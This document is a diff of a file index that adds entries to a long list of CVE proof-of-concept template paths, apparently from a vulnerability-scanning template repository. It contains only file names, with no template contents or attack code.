./poc/cve/CVE-2003-1598.yaml @@ -6513,6 +6603,7 @@ ./poc/cve/CVE-2008-7040-3c3b5a2e0afd19dc0cc5e02a7e678fae.yaml ./poc/cve/CVE-2008-7040.yaml ./poc/cve/CVE-2008-7175-be69a309f49acb5ce40331fd1979ebc7.yaml +./poc/cve/CVE-2008-7175-ca3d8af1bfdc512f2bdde607183e196a.yaml ./poc/cve/CVE-2008-7175.yaml ./poc/cve/CVE-2008-7216-1cfa34bdf325ab09f1767c764fdec591.yaml ./poc/cve/CVE-2008-7216.yaml @@ -11408,6 +11499,7 @@ ./poc/cve/CVE-2018-6469-319971dc0fee5c92291ec838ecee55cc.yaml ./poc/cve/CVE-2018-6469.yaml ./poc/cve/CVE-2018-6530.yaml +./poc/cve/CVE-2018-6605.yaml ./poc/cve/CVE-2018-6891-e84b71c5f7f1ee8c6eade739872043d8.yaml ./poc/cve/CVE-2018-6891.yaml ./poc/cve/CVE-2018-6910.yaml @@ -11421,6 +11513,7 @@ ./poc/cve/CVE-2018-7280-545302a496e845de1c5e019712acabb0.yaml ./poc/cve/CVE-2018-7280.yaml ./poc/cve/CVE-2018-7282.yaml +./poc/cve/CVE-2018-7314.yaml ./poc/cve/CVE-2018-7422-364c9e725b8200c8eda6850a76fb8265.yaml ./poc/cve/CVE-2018-7422.yaml ./poc/cve/CVE-2018-7433-1b1397ee1b9bed1e6459522b55fb6873.yaml @@ -12336,6 +12429,7 @@ ./poc/cve/CVE-2019-6780.yaml ./poc/cve/CVE-2019-6799.yaml ./poc/cve/CVE-2019-6802.yaml +./poc/cve/CVE-2019-7139.yaml ./poc/cve/CVE-2019-7192 (copy 1).yaml ./poc/cve/CVE-2019-7192.yaml ./poc/cve/CVE-2019-7219.yaml @@ -12379,6 +12473,7 @@ ./poc/cve/CVE-2019-9082.yaml ./poc/cve/CVE-2019-9168-8538d93dc59d2dac55aa865d48cc9611.yaml ./poc/cve/CVE-2019-9168.yaml +./poc/cve/CVE-2019-9193.yaml ./poc/cve/CVE-2019-9567-52987a834864f826237bed91a7a23028.yaml ./poc/cve/CVE-2019-9567.yaml ./poc/cve/CVE-2019-9568-e27f9a2ea5ee9624bddb6c318dcbad67.yaml @@ -15931,6 +16026,7 @@ ./poc/cve/CVE-2021-35265-1.yaml ./poc/cve/CVE-2021-35265-2.yaml ./poc/cve/CVE-2021-35265.yaml +./poc/cve/CVE-2021-35323.yaml ./poc/cve/CVE-2021-35336.yaml ./poc/cve/CVE-2021-35380.yaml ./poc/cve/CVE-2021-35395.yaml @@ -16739,6 +16835,7 @@ ./poc/cve/CVE-2021-46782.yaml ./poc/cve/CVE-2021-46889-78bb809c35456e98aa04bbec4923f595.yaml ./poc/cve/CVE-2021-46889.yaml +./poc/cve/CVE-2021–20837.yaml ./poc/cve/CVE-2022-0087.yaml ./poc/cve/CVE-2022-0134-8b7597ed42078b1a0c8a1b8089565e46.yaml ./poc/cve/CVE-2022-0134.yaml @@ -17068,6 +17165,7 @@ ./poc/cve/CVE-2022-0662.yaml ./poc/cve/CVE-2022-0663-76c68afb4308033a6f595031aa208477.yaml ./poc/cve/CVE-2022-0663.yaml +./poc/cve/CVE-2022-0666.yaml ./poc/cve/CVE-2022-0674-db2580df214645d8661d2c85c9e46fb5.yaml ./poc/cve/CVE-2022-0674.yaml ./poc/cve/CVE-2022-0678.yaml @@ -17226,6 +17324,7 @@ ./poc/cve/CVE-2022-0919.yaml ./poc/cve/CVE-2022-0920-a3427aad6ed07b9d0cef564d7db0125c.yaml ./poc/cve/CVE-2022-0920.yaml +./poc/cve/CVE-2022-0921.yaml ./poc/cve/CVE-2022-0928.yaml ./poc/cve/CVE-2022-0948-99020965bb89f1929411392421aa5e11.yaml ./poc/cve/CVE-2022-0948.yaml @@ -19138,6 +19237,7 @@ ./poc/cve/CVE-2022-34487.yaml ./poc/cve/CVE-2022-3451-7ce2d101e9864c9f25b2e5fa5dcd9749.yaml ./poc/cve/CVE-2022-3451.yaml +./poc/cve/CVE-2022-34534.yaml ./poc/cve/CVE-2022-34576.yaml ./poc/cve/CVE-2022-34590.yaml ./poc/cve/CVE-2022-3462-ccd003276e3aa019c522c97354bbeff8.yaml @@ -21210,6 +21310,7 @@ ./poc/cve/CVE-2022-4749.yaml ./poc/cve/CVE-2022-4750-989980556e4eb43a838876bd9c1082b0.yaml ./poc/cve/CVE-2022-4750.yaml +./poc/cve/CVE-2022-47501.yaml ./poc/cve/CVE-2022-4751-12905f40c19bcb29570b66237da2dc4a.yaml ./poc/cve/CVE-2022-4751.yaml ./poc/cve/CVE-2022-4752-8e160e488fa338c74a2aca18256d3b67.yaml @@ -23945,6 +24046,7 @@ ./poc/cve/CVE-2023-27008.yaml ./poc/cve/CVE-2023-2701-f3b74626fd65312334e9abc840d2987f.yaml ./poc/cve/CVE-2023-2701.yaml +./poc/cve/CVE-2023-27032.yaml ./poc/cve/CVE-2023-27034.yaml ./poc/cve/CVE-2023-2704-a47b49e133cc7b33591cf2c32aa60e8c.yaml ./poc/cve/CVE-2023-2704.yaml @@ -25629,6 +25731,7 @@ ./poc/cve/CVE-2023-3510-c4f9bd6de437d1951b88bb16387538bb.yaml ./poc/cve/CVE-2023-3510.yaml ./poc/cve/CVE-2023-35158.yaml +./poc/cve/CVE-2023-35162.yaml ./poc/cve/CVE-2023-3519.yaml ./poc/cve/CVE-2023-3524-574cb64f1d78e22890675dc86fe1e07c.yaml ./poc/cve/CVE-2023-3524.yaml @@ -26740,6 +26843,7 @@ ./poc/cve/CVE-2023-4214.yaml ./poc/cve/CVE-2023-4216-d757db75cd28b27879f774b47ca2a618.yaml ./poc/cve/CVE-2023-4216.yaml +./poc/cve/CVE-2023-42343.yaml ./poc/cve/CVE-2023-42344.yaml ./poc/cve/CVE-2023-4238-1957173be5f3d59dc0db9188b74af75f.yaml ./poc/cve/CVE-2023-4238.yaml @@ -28121,6 +28225,7 @@ ./poc/cve/CVE-2023-4799.yaml ./poc/cve/CVE-2023-4800-1b70b4fc33e79ddc3b63c71c147dcfc5.yaml ./poc/cve/CVE-2023-4800.yaml +./poc/cve/CVE-2023-48023.yaml ./poc/cve/CVE-2023-4805-a3199263ba1c5b0c1c1cdfe00b73c01e.yaml ./poc/cve/CVE-2023-4805.yaml ./poc/cve/CVE-2023-4808-949f9f5406a84f878777818ad44baa59.yaml @@ -28367,6 +28472,7 @@ ./poc/cve/CVE-2023-48776-5a4fcdcb050544702c89902855c06be5.yaml ./poc/cve/CVE-2023-48776.yaml ./poc/cve/CVE-2023-48777-b7dfd7db53f0a88205b97d6fcfe5fae4.yaml +./poc/cve/CVE-2023-48777.yaml ./poc/cve/CVE-2023-48778-7ad655d0b46397ca782447c3442f00e8.yaml ./poc/cve/CVE-2023-48778.yaml ./poc/cve/CVE-2023-48779-6306675f899f7d79a02e9a900a5e5d50.yaml @@ -28375,6 +28481,7 @@ ./poc/cve/CVE-2023-48780.yaml ./poc/cve/CVE-2023-48781-a5814471a2b643bdeefc9988648f8eee.yaml ./poc/cve/CVE-2023-48781.yaml +./poc/cve/CVE-2023-48795.yaml ./poc/cve/CVE-2023-4887-36777ab8285670b9fc307515de8ca6cb.yaml ./poc/cve/CVE-2023-4887.yaml ./poc/cve/CVE-2023-4888-823ad00d7e99f8ca06d73c7b2dba6632.yaml @@ -28385,6 +28492,7 @@ ./poc/cve/CVE-2023-4890.yaml ./poc/cve/CVE-2023-4893-08e321b4304b673fb509d64bd92de2a2.yaml ./poc/cve/CVE-2023-4893.yaml +./poc/cve/CVE-2023-49070.yaml ./poc/cve/CVE-2023-49103.yaml ./poc/cve/CVE-2023-49105.yaml ./poc/cve/CVE-2023-4911.yaml @@ -28921,6 +29029,7 @@ ./poc/cve/CVE-2023-50889.yaml ./poc/cve/CVE-2023-5089-2153755eb084810bfa7c1249af944cd6.yaml ./poc/cve/CVE-2023-5089.yaml +./poc/cve/CVE-2023-50890-aa376aae510c39a36baec69a6468b0f5.yaml ./poc/cve/CVE-2023-50891-f591c914c7326674c57052beb01b04ea.yaml ./poc/cve/CVE-2023-50891.yaml ./poc/cve/CVE-2023-50892-b9b7676708c266b3cf9c0c651175af6f.yaml @@ -29088,6 +29197,7 @@ ./poc/cve/CVE-2023-51424.yaml ./poc/cve/CVE-2023-51425-9a45b51e0c9c80b44105375736f18c4d.yaml ./poc/cve/CVE-2023-51425.yaml +./poc/cve/CVE-2023-51467.yaml ./poc/cve/CVE-2023-51468-77fe2e721f4243d858d9407ff0796579.yaml ./poc/cve/CVE-2023-51468.yaml ./poc/cve/CVE-2023-51469-1da647f6b03cf13457cb3f2d52c535dc.yaml @@ -29618,6 +29728,7 @@ ./poc/cve/CVE-2023-5417.yaml ./poc/cve/CVE-2023-5419-0b2515b6819f61e7fc1b6806f32eb07a.yaml ./poc/cve/CVE-2023-5419.yaml +./poc/cve/CVE-2023-5424-1e5f4c6ba714628c07cbc1e0947d1b83.yaml ./poc/cve/CVE-2023-5425-23b6cf4ee01458d8a35c53f8a2ef494c.yaml ./poc/cve/CVE-2023-5425.yaml ./poc/cve/CVE-2023-5426-bf8ceab33680b7793479fe1fd35139b7.yaml @@ -30164,6 +30275,7 @@ ./poc/cve/CVE-2023-6487.yaml ./poc/cve/CVE-2023-6488-afb4151d5547cebdeaf51ce67b742b39.yaml ./poc/cve/CVE-2023-6488.yaml +./poc/cve/CVE-2023-6491-04c3f7c7456f387e308447bde0f44015.yaml ./poc/cve/CVE-2023-6493-1ddb12648bea07060c13709782f6fe96.yaml ./poc/cve/CVE-2023-6493.yaml ./poc/cve/CVE-2023-6494-d3f00db66f8d04a619fe0c61399f0651.yaml @@ -30383,6 +30495,7 @@ ./poc/cve/CVE-2023-6855.yaml ./poc/cve/CVE-2023-6875-53865dd79a30a90cb2a019d7c172594e.yaml ./poc/cve/CVE-2023-6875.yaml +./poc/cve/CVE-2023-6876-74a1227dd83e29f4a4e31410e485e7f0.yaml ./poc/cve/CVE-2023-6877-43f5b5f955bad7c566a9abf8bc62c28f.yaml ./poc/cve/CVE-2023-6877.yaml ./poc/cve/CVE-2023-6878-ff55c2e01c1c06eec13790cf01ec8c26.yaml @@ -30424,6 +30537,7 @@ ./poc/cve/CVE-2023-6954-8e4d8624980729c9d418bb0a22ceb2fd.yaml ./poc/cve/CVE-2023-6954.yaml ./poc/cve/CVE-2023-6956-4abf1f71d7969a2d385010fa1115e52e.yaml +./poc/cve/CVE-2023-6956.yaml ./poc/cve/CVE-2023-6957-0e1875fd6658e64f4aec9b540233aca6.yaml ./poc/cve/CVE-2023-6957.yaml ./poc/cve/CVE-2023-6958-a5222b289d709d2c62b9a40c90e23854.yaml @@ -30441,9 +30555,11 @@ ./poc/cve/CVE-2023-6965-d3c0722391d158e1443cd24bd5102d07.yaml ./poc/cve/CVE-2023-6965.yaml ./poc/cve/CVE-2023-6966-d31604c7420165aefadaccd1ba0c8987.yaml +./poc/cve/CVE-2023-6966.yaml ./poc/cve/CVE-2023-6967-2649a11dfbf2ed8a72ad5039b79dfb21.yaml ./poc/cve/CVE-2023-6967.yaml ./poc/cve/CVE-2023-6968-2ae3d452ea48c3c85e2fb7765068e391.yaml +./poc/cve/CVE-2023-6968.yaml ./poc/cve/CVE-2023-6969-7d5808851d5edbe9ac3a7e2b3e116895.yaml ./poc/cve/CVE-2023-6969.yaml ./poc/cve/CVE-2023-6970-72c013bfd2c42c03714a0d17bca68c7b.yaml @@ -31045,6 +31161,7 @@ ./poc/cve/CVE-2024-0909-fca27b93cc4f3e75e125f283cdfb1748.yaml ./poc/cve/CVE-2024-0909.yaml ./poc/cve/CVE-2024-0910-1e2447c0f175ed52bd790b4f0afa007f.yaml +./poc/cve/CVE-2024-0910.yaml ./poc/cve/CVE-2024-0913-65230bab657c7591cbb71711fe8e34a3.yaml ./poc/cve/CVE-2024-0913.yaml ./poc/cve/CVE-2024-0951-8b7c2d68e773c5fbd477fc10ac4fe7ab.yaml @@ -31070,6 +31187,7 @@ ./poc/cve/CVE-2024-0970-f6a6151c8c6b6711082e999b9a8d20c1.yaml ./poc/cve/CVE-2024-0970.yaml ./poc/cve/CVE-2024-0972-d643db18054b1dd86be768803ada8c1e.yaml +./poc/cve/CVE-2024-0972.yaml ./poc/cve/CVE-2024-0973-8114f02175979285239c0b6ada0bf40d.yaml ./poc/cve/CVE-2024-0973.yaml ./poc/cve/CVE-2024-0975-8c2c6ef222080ae0d37a5b842579c359.yaml @@ -31242,6 +31360,7 @@ ./poc/cve/CVE-2024-1173-9e9606db29cc691b1619adba347c82df.yaml ./poc/cve/CVE-2024-1173.yaml ./poc/cve/CVE-2024-1175-59b1d28bf860d8876b76c01c1e383ade.yaml +./poc/cve/CVE-2024-1175.yaml ./poc/cve/CVE-2024-1176-b512894031a2bed74d78afe197de5814.yaml ./poc/cve/CVE-2024-1176.yaml ./poc/cve/CVE-2024-1177-44b068407f4a1063af5594e6bad17afb.yaml @@ -31699,6 +31818,7 @@ ./poc/cve/CVE-2024-1687.yaml ./poc/cve/CVE-2024-1688-6b524d8e151c37de5119265c19efbd01.yaml ./poc/cve/CVE-2024-1688.yaml +./poc/cve/CVE-2024-1689-27bd7427e9ad393d0cf747080614eaff.yaml ./poc/cve/CVE-2024-1690-70ed8facbc75e9c90c7099eb8faedb10.yaml ./poc/cve/CVE-2024-1690.yaml ./poc/cve/CVE-2024-1691-c94b154862bf148316ef17bdcb2dc159.yaml @@ -31769,6 +31889,7 @@ ./poc/cve/CVE-2024-1763.yaml ./poc/cve/CVE-2024-1767-5e95ae8488e232926d04a4272ddc030d.yaml ./poc/cve/CVE-2024-1767.yaml +./poc/cve/CVE-2024-1768-65f4d08bfbdd2f0f132b1bbe800c23c9.yaml ./poc/cve/CVE-2024-1769-15a465203085dcdd06d80ea56ef92ae8.yaml ./poc/cve/CVE-2024-1769.yaml ./poc/cve/CVE-2024-1770-2b01723134a336226253f3f67f440198.yaml @@ -31964,6 +32085,7 @@ ./poc/cve/CVE-2024-1986.yaml ./poc/cve/CVE-2024-1987-99ea534610f93f58d3176c82d8358628.yaml ./poc/cve/CVE-2024-1987.yaml +./poc/cve/CVE-2024-1988-762c964e00ddc9f47b1625720fae377f.yaml ./poc/cve/CVE-2024-1989-35d4410338aa54d1c433fd6d4a546379.yaml ./poc/cve/CVE-2024-1989.yaml ./poc/cve/CVE-2024-1990-31d6902cd3ede7a73a055222eff3009e.yaml @@ -31989,6 +32111,7 @@ ./poc/cve/CVE-2024-2008-3af3fc83782c802c63197514b445da9d.yaml ./poc/cve/CVE-2024-2008.yaml ./poc/cve/CVE-2024-2017-d211cd689669b0cbc088ad4f67fa6789.yaml +./poc/cve/CVE-2024-2017.yaml ./poc/cve/CVE-2024-2018-e012d55590a946db2d65ecabedeb8a15.yaml ./poc/cve/CVE-2024-2018.yaml ./poc/cve/CVE-2024-2019-324d0006fc701acde67997019e091c63.yaml @@ -32095,6 +32218,7 @@ ./poc/cve/CVE-2024-2127.yaml ./poc/cve/CVE-2024-2128-726a554f99a5857097a1bfd5db17fd5a.yaml ./poc/cve/CVE-2024-2128.yaml +./poc/cve/CVE-2024-2129-67f84e116cb15b004c038b67c51f01a4.yaml ./poc/cve/CVE-2024-2129-eea04c7eb132e5b27cb342b14e1770b1.yaml ./poc/cve/CVE-2024-2129.yaml ./poc/cve/CVE-2024-2130-67445dd05d578619ec98045d2e9cf433.yaml @@ -32331,6 +32455,7 @@ ./poc/cve/CVE-2024-2252-58dcecc18f2520ca944b96dab6e40ad2.yaml ./poc/cve/CVE-2024-2252.yaml ./poc/cve/CVE-2024-2253-df0681714bb2dac738636b14f0dd1322.yaml +./poc/cve/CVE-2024-2253-e80d4914f56d0bcf3f9f3038bce09c0d.yaml ./poc/cve/CVE-2024-2253.yaml ./poc/cve/CVE-2024-2255-c91737673f0c0121f5550bad7a472ece.yaml ./poc/cve/CVE-2024-2255.yaml @@ -32428,6 +32553,7 @@ ./poc/cve/CVE-2024-2349-ee19e7bd3231fd874380b541b0e81600.yaml ./poc/cve/CVE-2024-2349.yaml ./poc/cve/CVE-2024-2350-f3f46cb0834f742630e5219581bfbe06.yaml +./poc/cve/CVE-2024-2350.yaml ./poc/cve/CVE-2024-23500-f6b806bbf79158cb682ac7bbc2833887.yaml ./poc/cve/CVE-2024-23500.yaml ./poc/cve/CVE-2024-23501-412ab1ef68a79e391cf467e3f86ea830.yaml @@ -32534,6 +32660,7 @@ ./poc/cve/CVE-2024-2460.yaml ./poc/cve/CVE-2024-2468-9ca48225e8d45c2ae185f9a00eecfe39.yaml ./poc/cve/CVE-2024-2468.yaml +./poc/cve/CVE-2024-2470-24a32cbca3778e79d1961c9566fa4daf.yaml ./poc/cve/CVE-2024-24700-607b74254d25be47a5115f219d100499.yaml ./poc/cve/CVE-2024-24700.yaml ./poc/cve/CVE-2024-24701-9acb8a11092adb3b6699b5479bc9cba7.yaml @@ -32791,6 +32918,7 @@ ./poc/cve/CVE-2024-25600-ca7c712dd54169f6cae4451ac936ba0f.yaml ./poc/cve/CVE-2024-25600.yaml ./poc/cve/CVE-2024-25600_interactsh.yaml +./poc/cve/CVE-2024-25669.yaml ./poc/cve/CVE-2024-25735.yaml ./poc/cve/CVE-2024-2578-a164b02dbc87c2a13abb70b2d4fd91a5.yaml ./poc/cve/CVE-2024-2578.yaml @@ -32962,9 +33090,11 @@ ./poc/cve/CVE-2024-2751.yaml ./poc/cve/CVE-2024-2752-bd6643dbe35a525c28c4b5cbfd383b93.yaml ./poc/cve/CVE-2024-2752.yaml +./poc/cve/CVE-2024-27564.yaml ./poc/cve/CVE-2024-2761-673231897875decfe2a8e0a71fc6e545.yaml ./poc/cve/CVE-2024-2761.yaml ./poc/cve/CVE-2024-2762-6f6c62da5200b2142baa1e66562e41c6.yaml +./poc/cve/CVE-2024-2762.yaml ./poc/cve/CVE-2024-2765-14cc650cd46aa8a10f6f033fa6010a72.yaml ./poc/cve/CVE-2024-2765.yaml ./poc/cve/CVE-2024-2771-6735bcb33916254db4094e3a9b27ee57.yaml @@ -33263,6 +33393,7 @@ ./poc/cve/CVE-2024-2920-304c7f1e1eeeae3f75b32b8e500c6cf6.yaml ./poc/cve/CVE-2024-2920.yaml ./poc/cve/CVE-2024-2922-0cc9c51e1be11230b72b24735326fed8.yaml +./poc/cve/CVE-2024-2922.yaml ./poc/cve/CVE-2024-29220-546b3339cf78b1f08a909f349fae0421.yaml ./poc/cve/CVE-2024-29220.yaml ./poc/cve/CVE-2024-2923-a5b388ae5dd77220ba526534cad10252.yaml @@ -33736,6 +33867,7 @@ ./poc/cve/CVE-2024-30498.yaml ./poc/cve/CVE-2024-30499-952f401ecbee63ccc95cf91b5214d949.yaml ./poc/cve/CVE-2024-30499.yaml +./poc/cve/CVE-2024-3050-bb86675d713737c48218c33c6c4f145b.yaml ./poc/cve/CVE-2024-30500-c2b47884eb6f6913ff15851ff465787d.yaml ./poc/cve/CVE-2024-30500.yaml ./poc/cve/CVE-2024-30501-be8a59f04fb0266b52caf5d1029f9bce.yaml @@ -33900,6 +34032,7 @@ ./poc/cve/CVE-2024-3076-d1b74cc2a974c339a5f3a5f7bb13a8a5.yaml ./poc/cve/CVE-2024-3076.yaml ./poc/cve/CVE-2024-3093.yaml +./poc/cve/CVE-2024-3094.yaml ./poc/cve/CVE-2024-3097-5060507c8548884278ebdc96e7654607.yaml ./poc/cve/CVE-2024-3097.yaml ./poc/cve/CVE-2024-3107-f4544f3b16051c6a94a24c73a431fbf3.yaml @@ -34303,6 +34436,7 @@ ./poc/cve/CVE-2024-31848.yaml ./poc/cve/CVE-2024-31849.yaml ./poc/cve/CVE-2024-31850.yaml +./poc/cve/CVE-2024-31851.yaml ./poc/cve/CVE-2024-31857-3f2c006a7280a61c98d033559dfab3e9.yaml ./poc/cve/CVE-2024-31857.yaml ./poc/cve/CVE-2024-3188-f8856223f95fdc2a67b7ac22815cc5eb.yaml @@ -34454,6 +34588,7 @@ ./poc/cve/CVE-2024-32110-642a5b2571313fa0042d0bda24bbb134.yaml ./poc/cve/CVE-2024-32110-6d7728f8694f17c6163ea0d43564d068.yaml ./poc/cve/CVE-2024-32110-8db56b4b2ba326e322da730bbf5527d9.yaml +./poc/cve/CVE-2024-32110-cf5679b4215ff5c6109d33ef7a9492f2.yaml ./poc/cve/CVE-2024-32110-d71b32ada280299c77245f6cc9b2d2fc.yaml ./poc/cve/CVE-2024-32110-d7c04fc0d3fd83fb05a2a5615154363a.yaml ./poc/cve/CVE-2024-32110-de2ff93fdf29c59c15be84b150d38e08.yaml @@ -34785,6 +34920,7 @@ ./poc/cve/CVE-2024-32604.yaml ./poc/cve/CVE-2024-3261-822083fb79527706629d06d3591a7132.yaml ./poc/cve/CVE-2024-3261.yaml +./poc/cve/CVE-2024-32640.yaml ./poc/cve/CVE-2024-3265-f7037b4d5ba1f01f180fdea2f2f81d6e.yaml ./poc/cve/CVE-2024-3265.yaml ./poc/cve/CVE-2024-3266-2b13ea444681b03f5c12cb9a9613ae86.yaml @@ -35455,6 +35591,7 @@ ./poc/cve/CVE-2024-34384-adea164e26ba106c1350843e8af92574.yaml ./poc/cve/CVE-2024-34384.yaml ./poc/cve/CVE-2024-34385-d30ee510c6d44341d4ef9640937f7de2.yaml +./poc/cve/CVE-2024-34385.yaml ./poc/cve/CVE-2024-34386-179bddd9858447c7c08120843c3df638.yaml ./poc/cve/CVE-2024-34386.yaml ./poc/cve/CVE-2024-34387-b3fb21b45110816b1a02ffd26449c5dc.yaml @@ -35532,7 +35669,9 @@ ./poc/cve/CVE-2024-34442-07f2f71a221fee785cd8c3df1a0aed6e.yaml ./poc/cve/CVE-2024-34442.yaml ./poc/cve/CVE-2024-34443-c37b04335fe76391f0b2529d1488cdf7.yaml +./poc/cve/CVE-2024-34443.yaml ./poc/cve/CVE-2024-34444-06c3460591b83ae79c2cff0086bcd5e7.yaml +./poc/cve/CVE-2024-34444.yaml ./poc/cve/CVE-2024-34445-c70c7fecb769cf160ee61da9c18e8384.yaml ./poc/cve/CVE-2024-34445.yaml ./poc/cve/CVE-2024-34470.yaml @@ -35743,6 +35882,7 @@ ./poc/cve/CVE-2024-3500.yaml ./poc/cve/CVE-2024-3512.yaml ./poc/cve/CVE-2024-3514.yaml +./poc/cve/CVE-2024-35162-7b84498d99f2fd77a9d8c6d43951d0ba.yaml ./poc/cve/CVE-2024-35165-79a84b0df0d64ff61b66f6ef31810997.yaml ./poc/cve/CVE-2024-35165.yaml ./poc/cve/CVE-2024-35167-aa67019919303c072810675c2f334855.yaml @@ -35769,6 +35909,7 @@ ./poc/cve/CVE-2024-3519.yaml ./poc/cve/CVE-2024-3520-192602337673f723f58aaac75c82eb78.yaml ./poc/cve/CVE-2024-3520.yaml +./poc/cve/CVE-2024-35297-5b9f6a55a11468cf4b95b149858e2fea.yaml ./poc/cve/CVE-2024-3546-21b96d87400ebb11e8fcdead126ff12f.yaml ./poc/cve/CVE-2024-3546.yaml ./poc/cve/CVE-2024-3547-1c552859e3a147f11eb767d2b9eed166.yaml @@ -35792,28 +35933,49 @@ ./poc/cve/CVE-2024-3560-873e578155e3dc7710a2e7220979c0a3.yaml ./poc/cve/CVE-2024-3560.yaml ./poc/cve/CVE-2024-35629-f8f9be6442be50cac396cf6c9bcfe333.yaml +./poc/cve/CVE-2024-35629.yaml ./poc/cve/CVE-2024-35630-f459f3edfa45b3227a9ff4bae46928fe.yaml +./poc/cve/CVE-2024-35630.yaml ./poc/cve/CVE-2024-35631-1433b938988ce6d3b24beaa82e3d3c5b.yaml +./poc/cve/CVE-2024-35631.yaml ./poc/cve/CVE-2024-35632-e6b046fca098bc781c6f96bf2801558a.yaml +./poc/cve/CVE-2024-35632.yaml ./poc/cve/CVE-2024-35633-97cd8fe3cd8af460abad484cf7e3462a.yaml +./poc/cve/CVE-2024-35633.yaml ./poc/cve/CVE-2024-35634-a1453bc70651471251cc8aee59d15d40.yaml +./poc/cve/CVE-2024-35634.yaml ./poc/cve/CVE-2024-35635-8b39d7694962e285a823c2af6881534c.yaml +./poc/cve/CVE-2024-35635.yaml ./poc/cve/CVE-2024-35636-2189296cd9d5cfc4d8d9bb67f508d60c.yaml +./poc/cve/CVE-2024-35636.yaml ./poc/cve/CVE-2024-35637-4ffa8bdd3fa94b04f78111aedbde0572.yaml +./poc/cve/CVE-2024-35637.yaml ./poc/cve/CVE-2024-35638-c09688e72e8bc975cc31f3e1e08ec634.yaml +./poc/cve/CVE-2024-35638.yaml ./poc/cve/CVE-2024-35639-9e2b89637378ed04a43609720688da6c.yaml +./poc/cve/CVE-2024-35639.yaml ./poc/cve/CVE-2024-3564-9e0ce78f1b8d3170d76aec9b1c97a03c.yaml ./poc/cve/CVE-2024-3564.yaml ./poc/cve/CVE-2024-35640-0b7df6f6e6781abf6edc6509e54d469f.yaml +./poc/cve/CVE-2024-35640.yaml ./poc/cve/CVE-2024-35641-19b36b0cb17e917f1df7d1cb12f57ce3.yaml +./poc/cve/CVE-2024-35641.yaml ./poc/cve/CVE-2024-35642-402b1f5bfa5468c664909758cb409dd8.yaml +./poc/cve/CVE-2024-35642.yaml ./poc/cve/CVE-2024-35643-139658420cd829008171a366b4631688.yaml +./poc/cve/CVE-2024-35643.yaml ./poc/cve/CVE-2024-35644-23746a14707c73eebd38b2f8a6046d4a.yaml +./poc/cve/CVE-2024-35644.yaml ./poc/cve/CVE-2024-35645-6d9f2abaefdeb748beec8783a79c496c.yaml +./poc/cve/CVE-2024-35645.yaml ./poc/cve/CVE-2024-35646-94b3cfd8d487d2adfc0cb31c4eac7500.yaml +./poc/cve/CVE-2024-35646.yaml ./poc/cve/CVE-2024-35647-34dce23ead7cdce4b63ae41d18aa62bc.yaml +./poc/cve/CVE-2024-35647.yaml ./poc/cve/CVE-2024-3565-4c380b36845ecda09785bb681a06a59e.yaml ./poc/cve/CVE-2024-3565.yaml +./poc/cve/CVE-2024-35672-486db9c86df3e8118b4d673efcb7bc70.yaml +./poc/cve/CVE-2024-35673-e1796442c9c94fea31305d80d3cc86c1.yaml ./poc/cve/CVE-2024-35700-a968a182155938d16f5ce2f221898949.yaml ./poc/cve/CVE-2024-35700.yaml ./poc/cve/CVE-2024-3580-8c7cf5dcd155bf94304e3c6a72742936.yaml @@ -35832,6 +35994,8 @@ ./poc/cve/CVE-2024-3590.yaml ./poc/cve/CVE-2024-3591-911f604ca0084198acb61b8b2fb7c2ae.yaml ./poc/cve/CVE-2024-3591.yaml +./poc/cve/CVE-2024-3592-db8d56b4ffd71be1964e8f686279beb9.yaml +./poc/cve/CVE-2024-3594-36d7fb83c790460bdb8c61a1e30649d8.yaml ./poc/cve/CVE-2024-3595-ae707ffdb0b84fee78545094f31fab5f.yaml ./poc/cve/CVE-2024-3595-af3cf7279598a37cf244aabc61c9a195.yaml ./poc/cve/CVE-2024-3595.yaml @@ -35868,6 +36032,10 @@ ./poc/cve/CVE-2024-3634.yaml ./poc/cve/CVE-2024-3637-00630e7f63285d0deee6771e11c16dbe.yaml ./poc/cve/CVE-2024-3637.yaml +./poc/cve/CVE-2024-3641-049362f736a248e461e7e2209124763e.yaml +./poc/cve/CVE-2024-3642-c5820e404ef1b131f6857331a1aaece3.yaml +./poc/cve/CVE-2024-3643-a05812857160f5eb561bf2babf725d60.yaml +./poc/cve/CVE-2024-3644-9f7a970dbcd282a4ee231b0a1cc7dd4e.yaml ./poc/cve/CVE-2024-3645-edad6e473ccf6373e9a8b113309904e7.yaml ./poc/cve/CVE-2024-3645.yaml ./poc/cve/CVE-2024-3647-638bd38b3eb39151d55c4426d5160489.yaml @@ -36047,6 +36215,7 @@ ./poc/cve/CVE-2024-3918.yaml ./poc/cve/CVE-2024-3920-a6c2a7283db2f5361993ecb6735124d0.yaml ./poc/cve/CVE-2024-3920.yaml +./poc/cve/CVE-2024-3921-dbf397a500a6ba8db425a10054860f95.yaml ./poc/cve/CVE-2024-3923-c3342c33e8a1161733bef75bd85dafa0.yaml ./poc/cve/CVE-2024-3923.yaml ./poc/cve/CVE-2024-3926-afadb218804cdf862cb2355eadd9debd.yaml @@ -36102,6 +36271,7 @@ ./poc/cve/CVE-2024-3978.yaml ./poc/cve/CVE-2024-3985-cc0320b909baefd8a29f8439f0f824f6.yaml ./poc/cve/CVE-2024-3985.yaml +./poc/cve/CVE-2024-3987-d1590fd2b736d9b7169053d35fe5596a.yaml ./poc/cve/CVE-2024-3988-ba0d932b825021468f2ee762dd8e7b70.yaml ./poc/cve/CVE-2024-3988.yaml ./poc/cve/CVE-2024-3989-7df2b49adfce688a1b571b43377d7436.yaml @@ -36147,12 +36317,14 @@ ./poc/cve/CVE-2024-4040.yaml ./poc/cve/CVE-2024-4041-b214e6aada368f8bbc88aa6adf5143d5.yaml ./poc/cve/CVE-2024-4041.yaml +./poc/cve/CVE-2024-4042-0b45d87b9cb46f3e57530ebae522c9d1.yaml ./poc/cve/CVE-2024-4043-a1aa85d26268c75ee953981e5b85ad25.yaml ./poc/cve/CVE-2024-4043.yaml ./poc/cve/CVE-2024-4045-d93fdba3ed5813ed1eed99719f426123.yaml ./poc/cve/CVE-2024-4045.yaml ./poc/cve/CVE-2024-4057-036d336fe3e2dba57c129919467c2acd.yaml ./poc/cve/CVE-2024-4057.yaml +./poc/cve/CVE-2024-4061-7d27faa8767de65d446af82e8cb546ee.yaml ./poc/cve/CVE-2024-4077-810356fac1d68873d9e790939148b3f0.yaml ./poc/cve/CVE-2024-4077.yaml ./poc/cve/CVE-2024-4082-50825b3df742f81debb8f24874dd3aa4.yaml @@ -36193,13 +36365,16 @@ ./poc/cve/CVE-2024-4158.yaml ./poc/cve/CVE-2024-4160-dc1781af1178990e6149e1207deb9a09.yaml ./poc/cve/CVE-2024-4160.yaml 